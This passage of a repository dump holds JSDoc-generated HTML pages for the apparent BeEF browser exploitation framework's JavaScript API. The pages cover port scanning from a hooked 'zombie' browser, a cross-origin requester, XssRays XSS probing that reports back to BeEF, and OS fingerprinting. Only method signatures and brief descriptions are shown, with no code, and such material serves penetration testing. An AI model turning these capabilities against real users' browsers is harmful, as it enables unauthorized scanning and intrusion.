href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.net.portscanner.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: portscanner</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: portscanner</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>\n            <span class=\"ancestors\"><a href=\"beef.net.html\">.net</a>.</span>portscanner</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>Provides port scanning functions for the zombie. A mod of pdp's scanner</p>\n<p>Version: '0.1',\nauthor: 'Petko Petkov',\nhomepage: 'http://www.gnucitizen.org'</p></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net_portscanner.js.html\">net/portscanner.js</a>, <a href=\"net_portscanner.js.html#line7\">line 7</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".scanPort\"><span class=\"type-signature\">(static) </span>scanPort<span class=\"signature\">(callback, target, port, timeout)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>callback</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>target</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>port</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>timeout</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net_portscanner.js.html\">net/portscanner.js</a>, <a href=\"net_portscanner.js.html#line25\">line 25</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".scanTarget\"><span class=\"type-signature\">(static) </span>scanTarget<span class=\"signature\">(callback, target, ports_str, timeout)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>callback</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>target</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>ports_str</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>timeout</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net_portscanner.js.html\">net/portscanner.js</a>, <a href=\"net_portscanner.js.html#line54\">line 54</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.net.requester.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: requester</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: requester</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>\n            <span class=\"ancestors\"><a href=\"beef.net.html\">.net</a>.</span>requester</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>request object structure:</p>\n<ul>\n<li>method: {String} HTTP method to use (GET or POST).</li>\n<li>host: {String} hostname</li>\n<li>query_string: {String} The query string is a part of the URL which is passed to the program.</li>\n<li>uri: {String} The URI syntax consists of a URI scheme name.</li>\n<li>headers: {Array} contain the operating parameters of the HTTP request.</li>\n</ul></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net_requester.js.html\">net/requester.js</a>, <a href=\"net_requester.js.html#line7\">line 7</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".send\"><span class=\"type-signature\">(static) </span>send<span class=\"signature\">(requests_array)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>requests_array</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">array</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net_requester.js.html\">net/requester.js</a>, <a href=\"net_requester.js.html#line23\">line 23</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.net.xssrays.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: xssrays</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: xssrays</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>\n            <span class=\"ancestors\"><a href=\"beef.net.html\">.net</a>.</span>xssrays</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>XssRays 0.5.5 ported to BeEF by Michele &quot;antisnatchor&quot; Orru'\nThe XSS detection mechanisms has been rewritten from scratch: instead of using the location hash trick (that doesn't work anymore),\nif the vulnerability is triggered the JS code vector will contact back BeEF.\nOther aspects of the original code have been simplified and improved.</p></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net_xssrays.js.html\">net/xssrays.js</a>, <a href=\"net_xssrays.js.html#line29\">line 29</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".checkBrowser\"><span class=\"type-signature\">(static) </span>checkBrowser<span class=\"signature\">(vector_array_index)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>return true is the attack vector can be launched to the current browser type.</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>vector_array_index</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">array</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net_xssrays.js.html\">net/xssrays.js</a>, <a href=\"net_xssrays.js.html#line80\">line 80</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".run\"><span class=\"type-signature\">(static) </span>run<span class=\"signature\">(url, method, vector, params, urlencode)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>this is the main core function with the detection mechanisms...</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>url</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>method</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>vector</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>params</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>urlencode</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net_xssrays.js.html\">net/xssrays.js</a>, <a href=\"net_xssrays.js.html#line306\">line 306</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".runJobs\"><span class=\"type-signature\">(static) </span>runJobs<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>run the jobs (run functions added to the stack), and clean the shit (iframes) from the DOM after a timeout value</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net_xssrays.js.html\">net/xssrays.js</a>, <a href=\"net_xssrays.js.html#line453\">line 453</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".startScan\"><span class=\"type-signature\">(static) </span>startScan<span class=\"signature\">(xssraysScanId, hookedBrowserSession, beefUrl, crossDomain, timeout)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>main function, where all starts :-)</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>xssraysScanId</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>hookedBrowserSession</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>beefUrl</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>crossDomain</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>timeout</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net_xssrays.js.html\">net/xssrays.js</a>, <a href=\"net_xssrays.js.html#line116\">line 116</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.os.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: os</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: os</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>os</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line7\">line 7</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getArch\"><span class=\"type-signature\">(static) </span>getArch<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Get OS architecture.\nThis may not be the same as the browser arch or CPU arch.\nie, 32bit OS on 64bit hardware</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line300\">line 300</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getDefaultBrowser\"><span class=\"type-signature\">(static) </span>getDefaultBrowser<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {string}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Detect default browser (IE only)\nWritten by unsticky\nhttp://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line19\">line 19</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">string</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getFamily\"><span class=\"type-signature\">(static) </span>getFamily<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Get OS family</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line314\">line 314</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getName\"><span class=\"type-signature\">(static) </span>getName<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {string}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line250\">line 250</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">string</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getVersion\"><span class=\"type-signature\">(static) </span>getVersion<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {string}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Get OS name</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl 